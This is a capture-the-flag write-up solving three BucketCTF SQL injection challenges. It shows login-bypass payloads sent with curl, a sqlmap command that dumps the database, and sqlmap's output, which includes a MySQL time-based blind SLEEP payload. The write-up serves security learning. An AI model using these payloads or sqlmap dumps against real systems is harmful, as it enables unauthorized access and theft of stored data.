Web - SQLi - 1
Description
This is my first time using SQL. Its such a great and simple tool.
Approach
I attempted several payloads, but ultimately, this one worked: ' or 1=1--
┌──(kali㉿iasad)-[~/CTFs/BucketCTF]
└─$ curl -d "userName=' or 1=1--&password=' or 1=1--" 213.133.103.186:7763/login
bucket{s1mp13_sq11_ed0176a}
Flag: bucket{s1mp13_sq11_ed0176a}
Web - SQLi - 2
Description
Ok I upgrade my security by preventing you from using semicolons. A StackOverflow thread told me that would work.
Approach
Again, I attempted several payloads but found success with this one: ' OR 1 -- -
┌──(kali㉿iasad)-[~/CTFs/BucketCTF]
└─$ curl -d "userName=' OR 1 -- -&password=' OR 1 -- -" 213.133.103.186:5900/login
bucket{m3d1um_sq11_693f79541}
Flag: bucket{m3d1um_sq11_693f79541}
Web - SQLi - 3
Description
Finally! I moved the secret into a COMPLETELY different table. There is NO way you can find it now.
Approach
After attempting some payloads manually without success, I used SQLmap
and successfully retrieved the flag. The database was MySQL
and the parameters were vulnerable to blind SQL Injection
Breakdown of options in the SQLmap command
-u
specifies the target URL to be scanned.-data
provides the POST data to be sent with the request.-p
indicates the parameters to be tested for SQL injection.-method
specifies the HTTP method used for the request.-dump
dumps the contents of the database after a successful SQLi attack.
┌──(kali㉿iasad)-[~/CTFs/Tools/sqlmap-dev]
└─$ python3 sqlmap.py -u "http://213.133.103.186:6409/login" --data "userName=1&password=2" -p "userName,password" --method POST --dump
___
__H__
___ ___[(]_____ ___ ___ {1.7.4.6#dev}
|_ -| . ['] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal.
[*] starting @ 15:35:20 /2023-04-10/
[15:35:21] [INFO] resuming back-end DBMS 'mysql'
[15:35:21] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: userName (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: userName=1' AND (SELECT 5012 FROM (SELECT(SLEEP(5)))lPED) AND 'eyGp'='eyGp&password=2
---
[15:35:21] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[15:35:21] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[15:35:21] [INFO] fetching current database
[15:35:22] [INFO] resumed: railway
[15:35:22] [INFO] fetching tables for database: 'railway'
[15:35:22] [INFO] fetching number of tables for database 'railway'
[15:35:22] [INFO] resumed: 2
[15:35:22] [INFO] resumed: Flag
[15:35:22] [INFO] resumed: Users
[15:35:22] [INFO] fetching columns for table 'Flag' in database 'railway'
[15:35:22] [INFO] resumed: 2
[15:35:22] [INFO] resumed: id
[15:35:22] [INFO] resumed: value
[15:35:22] [INFO] fetching entries for table 'Flag' in database 'railway'
[15:35:22] [INFO] fetching number of entries for table 'Flag' in database 'railway'
[15:35:22] [INFO] resumed: 1
[15:35:22] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
[15:35:38] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
[15:36:39] [INFO] adjusting time delay to 2 seconds due to good response times
bucket{j01
[15:37:31] [ERROR] invalid character detected. retrying..
[15:37:31] [WARNING] increasing time delay to 3 seconds
n5_m4k3_n0_53
[15:38:58] [ERROR] invalid character detected. retrying..
[15:39:30] [ERROR] invalid character detected. retrying..
[15:39:30] [WARNING] increasing time delay to 6 seconds
n53_a5ed15}
[15:42:30] [ERROR] invalid character detected. retrying..
[15:42:30] [WARNING] increasing time delay to 8 seconds
[*] ending @ 15:47:24 /2023-04-10/
The flag was printed in pieces due to time-based SQL injection attack.
Flag: bucket{j01n5_m4k3_n0_53n53_a5ed15}